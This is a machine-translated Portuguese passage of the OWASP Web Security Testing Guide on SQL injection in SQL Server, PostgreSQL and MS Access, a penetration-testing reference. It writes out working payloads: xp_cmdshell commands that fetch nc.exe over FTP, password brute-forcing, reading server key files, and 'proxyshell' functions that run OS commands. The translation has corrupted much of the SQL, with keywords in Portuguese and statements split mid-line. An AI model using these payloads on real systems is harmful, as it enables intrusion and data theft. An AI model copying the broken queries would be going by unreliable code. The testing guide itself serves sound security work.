ftpscript.txt';-- exec master..xp_cmdshell 'echo PASS >> ftpscript. txt';-- exec master..xp_cmdshell 'echo bin >>
ftpscript.txt';-- exec master..xp_cmdshell 'echo get nc.exe >> ftpscript.txt';-- exec master..xp_cmdshell 'echo quit
>> ftpscript.txt';-- exec master..xp_cmdshell 'ftp -s:ftpscript.txt';--
Neste ponto, o nc.exe será carregado e estará disponível.
Se o FTP não for permitido pelo firewall, temos uma solução alternativa que explora o depurador do Windows, debug.exe , que é
instalado por padrão em todas as máquinas Windows. Debug.exe é passível de script e é capaz de criar um executável executando
um arquivo de script apropriado. O que precisamos fazer é converter o executável em um script de depuração (que é um arquivo
100% ASCII), carregá-lo linha por linha e finalmente chamar debug.exe nele. Existem várias ferramentas que criam esses arquivos
de depuração (por exemplo: makescr.exe de Ollie Whitehouse e dbgtool.exe de toolcrypt.org ). As consultas a injetar serão, portanto,
as seguintes:
263
exec master..xp_cmdshell 'echo [debug script line #1 de n] > debugscript.txt';-- exec master..xp_cmdshell 'echo
[debug script line #2 de n] >> debugscript.txt';--
....
exec master..xp_cmdshell 'echo [debug script line #n of n] >> debugscript.txt';-- exec master..xp_cmdshell 'debug.exe
< debugscript.txt';--
Neste ponto, nosso executável está disponível na máquina de destino, pronto para ser executado. Existem ferramentas que automatizam esse processo,
,
principalmente o Bobcat , que roda no Windows, e o Sqlninja , que roda no Unix (veja as ferramentas no final desta página).
Obter informações quando elas não são exibidas (fora da banda)

Nem tudo está perdido quando o aplicativo da web não retorna nenhuma informação – como mensagens de erro descritivas (cf. Blind SQL Injection). Por
exemplo, pode acontecer que alguém tenha acesso ao código-fonte (por exemplo, porque o aplicativo da Web é baseado em um software de código aberto).
Em seguida, o pen tester pode explorar todas as vulnerabilidades de injeção SQL descobertas offline no aplicativo da web. Embora um IPS possa interromper
alguns desses ataques, a melhor maneira seria proceder da seguinte forma: desenvolver e testar os ataques em um testbed criado para esse fim e, em seguida,
executar esses ataques contra o aplicativo da web que está sendo testado.
Outras opções para ataques fora de banda são descritas na Amostra 4 acima-GET-Example).
Ataques cegos de injeção de SQL

Tentativa e erro
Alternativamente, pode-se jogar com sorte. Ou seja, o invasor pode presumir que há uma vulnerabilidade de injeção SQL cega ou fora de banda em um
aplicativo da web. Ele então selecionará um vetor de ataque (por exemplo, uma entrada na web), usará vetores fuzz contra este canal e observará a resposta.
Por exemplo, se o aplicativo da Web estiver procurando um livro usando uma consulta
selecione * dos livros onde title="texto digitado pelo usuário"
então o testador de penetração pode inserir o texto: 'Bomba' OU 1=1- e se os dados não forem devidamente validados, a consulta passará e retornará toda a
lista de livros. Isso é uma evidência de que há uma vulnerabilidade de injeção de SQL. O testador de penetração pode mais tarde brincar com as consultas para
avaliar a criticidade dessa vulnerabilidade.
Se várias mensagens de erro forem exibidas Por
outro lado, se nenhuma informação anterior estiver disponível, ainda existe a possibilidade de ataque explorando qualquer canal secreto . Pode acontecer que
as mensagens de erro descritivas sejam interrompidas, mas as mensagens de erro fornecem algumas informações.
Por exemplo:
Em alguns casos a aplicação web (na verdade o servidor web) pode retornar o tradicional 500: Internal Server , digamos quando a aplicação retorna uma
Erro exceção que pode ser gerada, por exemplo, por uma query com
citações não fechadas.
Em outros casos, o servidor retornará uma mensagem 200 OK , mas o aplicativo da Web retornará alguma mensagem de erro inserida pelos
desenvolvedores Erro interno do servidor ou dados inválidos .
Essa informação pode ser suficiente para entender como a consulta SQL dinâmica é construída pelo aplicativo da Web e ajustar uma exploração. Outro método
fora da banda é enviar os resultados por meio de arquivos HTTP navegáveis.
Ataques cronometrados
Há mais uma possibilidade de fazer um ataque cego de injeção de SQL quando não há feedback visível do aplicativo: medindo o tempo que o aplicativo da
Web leva para responder a uma solicitação. Um ataque deste tipo é descrito por Anley de onde tomamos os próximos exemplos. Uma abordagem típica usa o
comando waitfor delay : digamos que o invasor deseja verificar se o banco de dados de amostras de pubs existe, ele simplesmente injetará o seguinte comando:
se existir (selecione * de pubs..pub_info) aguarde o atraso '0:0:5'

264
Dependendo do tempo que a consulta demorar para retornar, saberemos a resposta. Na verdade, o que temos aqui são duas coisas: uma
vulnerabilidade de injeção de SQL e um canal oculto que permite ao testador de penetração obter 1 bit de informação para cada consulta.
Portanto, usando várias consultas (tantas consultas quanto bits nas informações necessárias), o pen tester pode obter qualquer dado que
esteja no banco de dados. Observe a seguinte consulta
declare @s varchar(8000)
declare @i int select @s =
db_name() select @i = [some
value] if (select len(@s)) < @i
waitfor delay '0:0:5'
Medindo o tempo de resposta e usando diferentes valores para o banco de , podemos deduzir o comprimento do nome da corrente
dados @i , e então começar a extrair o nome em si com a seguinte consulta:
if (ascii(substring(@s, @byte, 1)) & ( power(2, @bit))) > 0 waitfor delay '0:0:5'
Esta consulta aguardará 5 segundos se o bit @bit do byte @byte do nome do banco de dados atual for 1 e retornará imediatamente se for 0.
Aninhando dois ciclos (um para @byte e outro para @bit ), seremos capazes de extrair toda a informação.
No entanto, pode acontecer que o comando waitfor não esteja disponível (por exemplo, porque é filtrado por um firewall de aplicativo IPS/web).
Isso não significa que ataques cegos de injeção de SQL não possam ser feitos, pois o testador de caneta só deve apresentar qualquer
operação demorada que não seja filtrada. Por exemplo
declare @i int select @i = 0 while @i

< 0xaffff begin select @i = @i + 1 end
Verificando a versão e as vulnerabilidades
A mesma abordagem de tempo também pode ser usada para entender com qual versão do SQL Server estamos lidando. É claro que usaremos
a variável interna @@version . Considere a seguinte consulta:
selecione @@versão
No SQL Server 2005, retornará algo como o seguinte:
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) 14 de outubro de 2005 00:33:37
A parte 2005 da string vai do 22º ao 25º caractere. Portanto, uma consulta para injetar pode ser a seguinte:
if substring((selecione @@version),25,1) = 5 aguarde o atraso '0:0:5'
Tal consulta aguardará 5 segundos se o 25º caractere da variável @@version for 5 , nos mostrando que estamos lidando com um SQL Server
2005. Se a consulta retornar imediatamente, provavelmente estamos lidando com SQL Server 2000 e outra consulta semelhante ajudará a
esclarecer todas as dúvidas.
Exemplo 9: Força Bruta da Senha do Sysadmin

Para força bruta a senha do administrador do sistema, podemos aproveitar o fato de que o OPENROWSET precisa de credenciais adequadas
para executar a conexão com sucesso e que essa conexão também pode ser “enviada” para o servidor de banco de dados local. Combinando
esses recursos com uma injeção inferida com base no tempo de resposta, podemos injetar o seguinte código:
select * from OPENROWSET('SQLOLEDB','';'sa';'<pwd>','select 1;waitfor delay ''0:0:5'' ')

265
O que fazemos aqui é tentar uma conexão com o banco de dados local (especificado pelo campo vazio após SQLOLEDB ) usando sa e <pwd> como
credenciais. Se a senha estiver correta e a conexão for bem-sucedida, a consulta é executada, fazendo o BD aguardar 5 segundos (e também retornando
um valor, pois OPENROWSET espera pelo menos uma coluna).
Buscando as senhas candidatas de uma lista de palavras e medindo o tempo necessário para cada conexão, podemos tentar adivinhar a senha correta.
Em “Data-mining with SQL Injection and Inference”, David Litchfield leva essa técnica ainda mais longe, injetando um trecho de código para aplicar força
bruta à senha do administrador do sistema usando os recursos da CPU do próprio servidor de banco de dados.
Assim que tivermos a senha do administrador do sistema, temos duas opções:
Injete todas as consultas a seguir usando OPENROWSET , para usar privilégios de administrador de sistema
Adicione nosso usuário atual ao grupo sysadmin usando sp_addsrvrolemember . O nome de usuário atual pode ser extraído usando injeção de
inferência na variável system_user .
Lembre-se que OPENROWSET é acessível a todos os usuários no SQL Server 2000, mas é restrito a administradores
contas no SQL Server 2005.
Ferramentas
Bernardo Damele AG: sqlmap, ferramenta de injeção automática de SQL
Referências
Artigos técnicos
David Litchfield: “Data-mining com SQL Injection and Inference”
Chris Anley, “(mais) Injeção SQL Avançada”
Dicas técnicas do Unixwiz.net de Steve Friedl: “Ataques de injeção de SQL por exemplo”
Alexander Chigrik: “Procedimentos armazenados estendidos não documentados úteis”
Antonin Foller: “Xp_cmdshell personalizado, usando o objeto shell”
Injeção SQL
Cesar Cerrudo: Manipulação do Microsoft SQL Server Usando SQL Injection, upload de arquivos, acesso à rede interna , varredura de portas, DOS
266
Testando o PostgreSQL
Resumo
Nesta seção, serão discutidas algumas técnicas de SQL Injection para PostgreSQL. Estas técnicas têm o seguinte
características:
O PHP Connector permite que várias instruções sejam executadas usando ; como um separador de declaração
As instruções SQL podem ser truncadas anexando o caractere de comentário: -- .
LIMIT e OFFSET podem ser usados em uma instrução SELECT para recuperar uma parte do conjunto de resultados gerado pelo
consulta
A partir de agora, assume-se que http://www.example.com/news.php?id=1 é vulnerável a ataques SQL Injection.
Como testar
Identificando o PostgreSQL Quando
uma injeção de SQL é encontrada, você precisa identificar cuidadosamente o mecanismo de banco de dados de back-end. Você pode determinar que o
mecanismo de banco de dados de back-end é PostgreSQL usando o operador cast :: .
Exemplos
http://www.example.com/store.php?id=1 AND 1::int=1
Além disso, a função version() pode ser usada para capturar o banner do PostgreSQL. Isso também mostrará o tipo e a versão do sistema operacional subjacente.
Exemplo
http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--
Um exemplo de uma string de banner que pode ser retornada é:
PostgreSQL 8.3.1 em i486-pc-linux-gnu, compilado por GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
Injeção cega
Para ataques cegos de injeção de SQL, você deve levar em consideração as seguintes funções integradas:
Comprimento da corda LENGTH(str)
Extraia uma substring de uma determinada string SUBSTR(str,index,offset)
Representação de string sem aspas simples CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)
A partir da versão 8.2, o PostgreSQL introduziu uma função interna, pg_sleep(n) , para fazer o processo da sessão atual dormir por n segundos. Essa função
pode ser aproveitada para executar ataques de temporização (discutidos em detalhes em Blind SQL Injection).
Além disso, você pode criar facilmente um pg_sleep(n) personalizado em versões anteriores usando libc:
Função CREATE pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT
Strings sem escape de aspas simples
podem ser codificadas, para evitar o escape de aspas simples, usando a função chr() .
267
chr(n) : Retorna o caractere cujo valor ASCII corresponde ao número n
ascii(n) : Retorna o valor ASCII que corresponde ao caractere n
Digamos que você queira codificar a string 'root':
selecione ascii('r') 114

selecione ascii('o') 111
selecione ascii('t') 116
Podemos codificar 'root' como:
chr(114)||chr(111)||chr(111)||chr(116)
Exemplo
http://www.example.com/store.php?id=1; UPDATE usuários SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)-

-
Vetores de ataque
Usuário atual
A identidade do usuário atual pode ser recuperada com as seguintes instruções SQL SELECT:
SELECIONE o usuário
SELECT current_user
SELECT sessão_usuário
SELECIONE o nome de usuário DE pg_user
SELECT getpgusername()
Exemplo
http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL-- http://www.example.com/

store.php?id=1 UNION ALL SELECT current_user, NULL , NULO--
Banco de dados atual
A função interna current_database() retorna o nome do banco de dados atual.
Exemplo
http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--
Lendo de um arquivo
O PostgreSQL fornece duas maneiras de acessar um arquivo local:
COPY declaração
função interna pg_read_file() (a partir do PostgreSQL 8.1)
CÓPIA DE
Este operador copia dados entre um arquivo e uma tabela. O mecanismo PostgreSQL acessa o sistema de arquivos local como o
usuário postgres .
Exemplo
268
/store.php?id=1; CREATE TABLE file_store(id serial, data text)-- /store.php?id=1; COPY

file_store(data) FROM '/var/lib/postgresql/.psql_history'--
Os dados devem ser recuperados executando uma injeção SQL de consulta UNION :
recupera o número de linhas adicionadas anteriormente em file_store com instrução COPY recupera
uma linha por vez com UNION SQL Injection
/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;-- /store.php?id=1 UNION
ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;-- /store.php?id=1 UNION ALL SELECT data, NULL, NULL
FROM file_store LIMIT 1 OFFSET 2;--
...
...
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--
pg_read_file()
Esta função foi introduzida no PostgreSQL 8.1 e permite a leitura de arquivos arbitrários localizados dentro do diretório de dados do DBMS.
Exemplo
SELECT pg_read_file('server.key',0,1000);
Escrevendo em um arquivo
Ao reverter a instrução COPY, podemos gravar no sistema de arquivos local com os direitos de usuário postgres
/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--
Injeção de casca
O PostgreSQL fornece um mecanismo para adicionar funções personalizadas usando a biblioteca dinâmica e linguagens de script como
python, perl e tcl.
Biblioteca Dinâmica
Até o PostgreSQL 8.1, era possível adicionar uma função personalizada vinculada à libc :
CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT
Como o sistema retorna um int , como podemos buscar resultados do sistema stdout?
Aqui está um pequeno truque:
crie uma tabela stdout : CREATE TABLE stdout(id serial, system_out text)
executando um comando shell redirecionando seu stdout : SELECT system('uname -a > /tmp/test')
use instruções COPY para enviar a saída do comando anterior na tabela stdout : COPY stdout(system_out) FROM
'/tmp/teste*'
recuperar saída de stdout : SELECT system_out FROM stdout
Exemplo
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- /store.php? id=1;

CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE
'C'
RIGOROSO --
/store.php?id=1; SELECT system('uname -a > /tmp/test') -- /store.php?id=1;
COPY stdout(system_out) FROM '/tmp/test' -- /store.php?id=1 UNION ALL
SELECT NULL, (SELECT system_out FROM stdout ORDER BY id DESC),NULL
LIMIT 1 OFFSET 1--
269
Plpython
PL/Python permite que os usuários codifiquem funções do PostgreSQL em python. Não é confiável, então não há como restringir o que o usuário pode
fazer. Não é instalado por padrão e pode ser ativado em um determinado banco de dados por CREATELANG
Verifique se PL/Python foi ativado em um banco de dados: SELECT count(*) FROM pg_language WHERE
lanname='plpythonu'
Caso contrário, tente habilitar: CREATE LANGUAGE plpythonu
Se qualquer uma das opções acima for bem-sucedida, crie uma função de shell de proxy: CREATE FUNCTION proxyshell(text) RETURNS text
AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu
Divirta-se com: SELECT proxyshell(comando os);
Exemplo
Crie uma função de shell de proxy: /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'import
os;return os.popen(args[0]).read()' LANGUAGE plpythonu;--
Execute um comando do SO: /store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--
Plperl
Plperl nos permite codificar funções PostgreSQL em perl. Normalmente, ele é instalado como uma linguagem confiável para desabilitar a execução em
tempo de execução de operações que interagem com o sistema operacional subjacente, como open . Ao fazer isso, é impossível obter acesso no nível do
sistema operacional. Para injetar com sucesso uma função semelhante ao proxyshell, precisamos instalar a versão não confiável do usuário postgres , para
evitar a chamada filtragem de máscara de aplicativo de operações confiáveis/não confiáveis.
Verifique se PL/perl-untrusted foi habilitado: SELECT count(*) FROM pg_language WHERE lanname='plperlu'
Caso contrário, supondo que o sysadm já tenha instalado o pacote plperl, tente: CREATE LANGUAGE plperlu
Se qualquer uma das opções acima for bem-sucedida, crie uma função de shell de proxy: CREATE FUNCTION proxyshell(text) RETURNS text
AS 'abrir(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu
Divirta-se com: SELECT proxyshell(comando os);
Exemplo
Crie uma função de shell de proxy: /store.php?id=1; CREATE FUNCTION proxyshell(texto) RETORNA texto COMO
'open(FD,"$_[0] |");return join("",<FD>);' LÍNGUA plperlu;
Execute um comando do SO: /store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--
Referências
Folha de dicas de prevenção de injeção SQL
Documentação oficial do PostgreSQL
Bernardo Damele e Daniele Bellucci: sqlmap, uma ferramenta de injeção cega de SQL
270
Teste para MS Access
Resumo
Conforme explicado na injeção SQL genérica seção, as vulnerabilidades de injeção SQL ocorrem sempre que a entrada fornecida pelo usuário é usada durante
a construção de uma consulta SQL sem ser adequadamente restringida ou sanitizada. Essa classe de vulnerabilidade permite que um invasor execute código
SQL sob os privilégios do usuário usado para se conectar ao banco de dados. Nesta seção, técnicas relevantes de injeção de SQL que utilizam recursos
específicos do Microsoft Access será discutido.
Como testar
Impressão digital A
impressão digital da tecnologia de banco de dados específica durante o teste do aplicativo baseado em SQL é a primeira etapa para avaliar adequadamente as
possíveis vulnerabilidades. Uma abordagem comum envolve a injeção de padrões de ataque de injeção de SQL padrão (por exemplo, aspas simples, aspas
duplas, …) para acionar exceções de banco de dados. Supondo que o aplicativo não lide com exceções com páginas personalizadas, é possível identificar o
DBMS sublinhado observando as mensagens de erro.
Dependendo da tecnologia da Web específica usada, os aplicativos baseados no MS Access responderão com um dos seguintes
erros:
Erro fatal: exceção não capturada 'com_exception' com mensagem Origem: Microsoft JET Database Engine
ou
Erro do mecanismo de banco de dados Microsoft JET '80040e14'
ou
Mecanismo de banco de dados do Microsoft Office Access
Em todos os casos, temos a confirmação de que estamos testando um aplicativo usando o banco de dados do MS Access.
Teste básico
Infelizmente, o MS Access não oferece suporte a operadores típicos que são tradicionalmente usados durante o teste de injeção de SQL, incluindo:
Sem caracteres de comentários
Nenhuma consulta empilhada
Nenhum operador LIMIT
Sem operadores SLEEP ou BENCHMARK e muitos outros
No entanto, é possível emular essas funções combinando vários operadores ou usando técnicas alternativas. Conforme mencionado, não é possível usar o
, byte
truque de inserir os caracteres /* -- ou # para truncar a consulta. No entanto, podemos felizmente contornar essa limitação injetando um caractere
nulo %00'nulo'.
em umaUsar um
consulta SQL resulta no MS Access ignorando todos os caracteres restantes. Isso pode ser explicado considerando que todas as strings são terminadas em
NULL na representação interna usada pelo banco de dados. Vale a pena mencionar que o caractere nulo às vezes também pode causar problemas, pois pode
truncar strings no nível do servidor da web. Nessas situações, podemos, no entanto, empregar outro caractere: 0x16 ( % 16 no formato codificado de URL).
Considerando a seguinte consulta:

271
SELECT [username],[password] FROM users WHERE [username]='$myUsername' AND [password]='$myPassword'
Podemos truncar a consulta com os dois URLs a seguir:
http://www.example.com/page.asp?user=admin'%00&pass=foo
http://www.example.com/page.app?user=admin'%16&pass=foo
O operador LIMIT não é implementado no MS Access, porém é possível limitar o número de resultados usando os operadores TOP ou LAST .
http://www.example.com/page.app?id=2'+UNION+SELECT+TOP+3+name+FROM+appsTable%00
Ao combinar os dois operadores, é possível selecionar resultados específicos. A concatenação de strings é possível usando os caracteres & (%26) e +
(%2b) .
Há também muitas outras funções que podem ser usadas durante o teste de injeção de SQL, incluindo, mas não se limitando a:
ASC: Obtém o valor ASCII de um caractere passado como entrada
CHR: Obtém o caractere do valor ASCII passado como entrada
LEN: Retorna o comprimento da string passada como parâmetro
IIF: É a construção IF, por exemplo a seguinte declaração IIF(1=1, 'a', 'b') return a MID: Esta função permite extrair
substring, por exemplo a seguinte declaração mid('abc',1 ,1) return a TOP: Esta função permite especificar o número máximo de resultados que a
consulta deve retornar a partir do topo.

Por exemplo , TOP 1 retornará apenas 1 linha.
LAST: Esta função é usada para selecionar apenas a última linha de um conjunto de linhas. Por exemplo, a seguinte consulta SELECT last(*) FROM
users retornará apenas a última linha do resultado.
Alguns desses operadores são essenciais para explorar injeções cegas de SQL. Para outros operadores avançados, consulte os documentos nas referências.
Enumeração de Atributos
Para enumerar a coluna de uma tabela de banco de dados, é possível usar uma técnica comum baseada em erros. Resumindo, podemos obter o nome dos
atributos analisando as mensagens de erro e repetindo a consulta com diferentes seletores. Por exemplo, assumindo que sabemos da existência de uma
coluna, também podemos obter o nome dos restantes atributos com a seguinte consulta:
' GRUPO POR Id% 00
Na mensagem de erro recebida é possível observar o nome da próxima coluna. Neste ponto, podemos iterar o método até obtermos o nome de todos os
atributos. Se não soubermos o nome do primeiro atributo, ainda podemos inserir um nome de coluna fictício e obter o nome do primeiro atributo na mensagem
de erro.
Obtendo esquema de banco de dados
Várias tabelas de sistema existem por padrão no MS Access que podem ser potencialmente usadas para obter nomes e colunas de tabelas.
Infelizmente, na configuração padrão das versões recentes do banco de dados do MS Access, essas tabelas não são acessíveis.
No entanto, vale sempre a pena tentar:
MSysObjects
MSysACEs
MSysAccessXML
Por exemplo, se existir uma vulnerabilidade de injeção SQL de união, você poderá usar a seguinte consulta:
'
UNION SELECT Nome FROM MSysObjects WHERE Tipo = 1%00
272
Como alternativa, é sempre possível usar força bruta no esquema do banco de dados usando uma lista de palavras padrão (por exemplo , FuzzDb).
Em alguns casos, os desenvolvedores ou administradores de sistema não percebem que incluir o arquivo .mdb real no webroot do aplicativo pode permitir
o download de todo o banco de dados. Os nomes de arquivos do banco de dados podem ser inferidos com o seguinte
consulta:
http://www.example.com/page.app?id=1'+UNION+SELECT+1+FROM+name.table%00
onde name é o nome do arquivo .mdb e table é uma tabela de banco de dados válida. No caso de bancos de dados protegidos por senha, vários utilitários
de software podem ser usados para quebrar a senha. Consulte as referências.
Teste cego de injeção de SQL

Injeção SQL cega as vulnerabilidades não são de forma alguma as injeções de SQL mais facilmente exploráveis durante o teste de aplicativos da vida
real. No caso de versões recentes do MS Access, também não é possível executar comandos shell ou ler/escrever arquivos arbitrários.
No caso de injeções cegas de SQL, o invasor só pode inferir o resultado da consulta avaliando as diferenças de tempo ou as respostas do aplicativo.
Supõe-se que o leitor já conheça a teoria por trás dos ataques de injeção cega de SQL, pois a parte restante desta seção se concentrará em detalhes
específicos do MS Access.
O seguinte exemplo é usado:
http://www.example.com/index.php?myId=[sql]
onde o parâmetro ID é usado na seguinte consulta:
*
SELECIONE DE pedidos WHERE [id]=$myId
Vamos considerar o parâmetro myId vulnerável à injeção cega de SQL. Como invasor, queremos extrair o conteúdo da coluna username na tabela users ,
assumindo que já divulgamos o esquema do banco de dados.
Uma consulta típica que pode ser usada para inferir o primeiro caractere do nome de usuário da décima linha é:
http://www.example.com/index.php?
id=IIF((select%20MID(LAST(username),1,1)%20from%20(select%20TOP%2010%20username%20from%20users)='a',0,'n
o')
Se o primeiro caractere for um , a consulta retornará 0 ou, caso contrário, a string no .
Usando uma combinação das funções IFF, MID, LAST e TOP , é possível extrair o primeiro caractere do nome de usuário em uma linha especificamente
selecionada. Como a consulta interna retorna um conjunto de registros, e não apenas um, não é possível utilizá-la diretamente. Felizmente, podemos
combinar várias funções para extrair uma string específica.
Vamos supor que queremos recuperar o nome de usuário da 10ª linha. Primeiro, podemos usar a função TOP para selecionar as dez primeiras linhas
usando a seguinte consulta:
SELECIONE OS 10 PRINCIPAIS nomes de usuário DOS usuários
Então, usando este subconjunto, podemos extrair a última linha usando a função LAST. Uma vez que temos apenas uma linha e exatamente a linha que
contém nossa string, podemos usar as funções IFF, MID e LAST para inferir o valor real do nome de usuário. Em nosso exemplo, empregamos IFF para
retornar um número ou uma string. Usando esse truque, podemos distinguir se temos uma resposta verdadeira ou não, observando as respostas de erro
do aplicativo. Como id é numérico, a comparação com uma string resulta em um erro SQL que pode ser potencialmente vazado por 500 páginas de erro
interno do servidor . Caso contrário, uma página padrão 200 OK provavelmente será retornada.
Por exemplo, podemos ter a seguinte consulta:

273
http://www.example.com/index.php?
id='%20AND%201=0%20OR%20'a'=IIF((select%20MID(LAST(username),1,1)%20from%20(select%20TOP%2010%20username%
20from%20users))='a','a','b')%00
isso é TRUE se o primeiro caractere for 'a' ou false caso contrário.
Conforme mencionado, este método permite inferir o valor de strings arbitrárias dentro do banco de dados:
1. Tentando todos os valores imprimíveis, até encontrar uma
correspondência 2. Inferindo o comprimento da string usando a função LEN ou simplesmente parando depois de encontrar todos
personagens
Injeções SQL cegas baseadas em tempo também são possíveis abusando de consultas pesadas.
Referências
Folha de checagem de injeção SQL do MS Access
Acesso Através do Acesso - Brett Moore

Acesse SQL Injection - Brett Moore
MS Access: Funções
Microsoft Access - Wikipédia

WSTG v4.2 1 275

Enviado por

Dados do documento

Título original

Direitos autorais

Formatos disponíveis

Compartilhar este documento

Compartilhar ou incorporar documento

Opções de compartilhamento

Você considera este documento útil?

Este conteúdo é inapropriado?

Direitos autorais:

Formatos disponíveis

WSTG v4.2 1 275

Enviado por

Direitos autorais:

Formatos disponíveis

Machine Translated by Google

Machine Translated by Google

Guia de teste de segurança da Web v4.2

0. Prefácio de Eoin Keary 1.

2.2 Princípios de Teste

2.3 Técnicas de teste explicadas

2.4 Inspeções e revisões manuais

2.5 Modelagem de Ameaças

2.6 Revisão do código-fonte

2.7 Teste de penetração

2.8 A necessidade de uma abordagem equilibrada

2.9 Derivando requisitos de teste de segurança

2.10 Testes de segurança integrados em fluxos de trabalho de desenvolvimento e teste

2.11 Análise e relatório de dados de teste de segurança

3. A estrutura de teste OWASP

3.2 Fase 1 antes do início do desenvolvimento

3.3 Fase 2 Durante a Definição e Design

3.4 Fase 3 durante o desenvolvimento

3.5 Fase 4 durante a implantação

3.6 Fase 5 Durante a Manutenção e Operações

3.7 Um fluxo de trabalho de teste SDLC típico

3.8 Metodologias de Teste de Penetração

4. Teste de segurança de aplicativos da Web

4.1 Obtendo informações

4.1.1 Realizar reconhecimento de descoberta de mecanismo de pesquisa para vazamento de informações

4.1.2 Servidor de impressão digital

4.1.3 Revise os metarquivos do servidor Web quanto a vazamento de informações

4.1.4 Enumerar aplicativos no servidor da Web

4.1.5 Revise o conteúdo da página da Web quanto a vazamento de informações

4.1.6 Identifique os pontos de entrada do aplicativo

4.1.7 Mapear caminhos de execução por meio do aplicativo

4.1.8 Estrutura de aplicativo da Web de impressão digital

4.1.9 Aplicativo da Web de impressão digital

4.1.10 Arquitetura do Aplicativo de Mapa

4.2 Teste de gerenciamento de configuração e implantação

4.2.1 Testar configuração de infraestrutura de rede

4.2.2 Configuração da plataforma do aplicativo de teste

4.2.3 Testar a manipulação de extensões de arquivo para informações confidenciais

Guia de teste de segurança da Web v4.2

4.2.5 Enumerar interfaces de administração de infraestrutura e aplicativos

4.2.6 Testar métodos HTTP

4.2.7 Testar segurança de transporte estrito HTTP

4.2.8 Testar política de domínio cruzado de RIA

4.2.9 Permissão de arquivo de teste

4.2.10 Teste para aquisição de subdomínio

4.2.11 Testar armazenamento em nuvem

4.3 Teste de gerenciamento de identidade

4.3.1 Definições de função de teste

4.3.2 Processo de registro do usuário de teste

4.3.3 Processo de provisionamento de conta de teste

4.3.4 Teste para enumeração de contas e conta de usuário adivinhável

4.3.5 Teste de política de nome de usuário fraca ou não aplicada

4.4 Teste de Autenticação

4.4.1 Teste de credenciais transportadas por um canal criptografado

4.4.2 Teste de credenciais padrão

4.4.3 Teste para mecanismo de bloqueio fraco

4.4.4 Testando para Ignorar o Esquema de Autenticação

4.4.5 Teste para lembrar senha vulnerável

4.4.6 Testando as Fraquezas do Cache do Navegador

4.4.7 Testando a política de senha fraca

4.4.8 Testando para resposta de pergunta de segurança fraca

4.4.9 Teste de funcionalidade de alteração ou redefinição de senha fraca

4.4.10 Teste para autenticação mais fraca em canal alternativo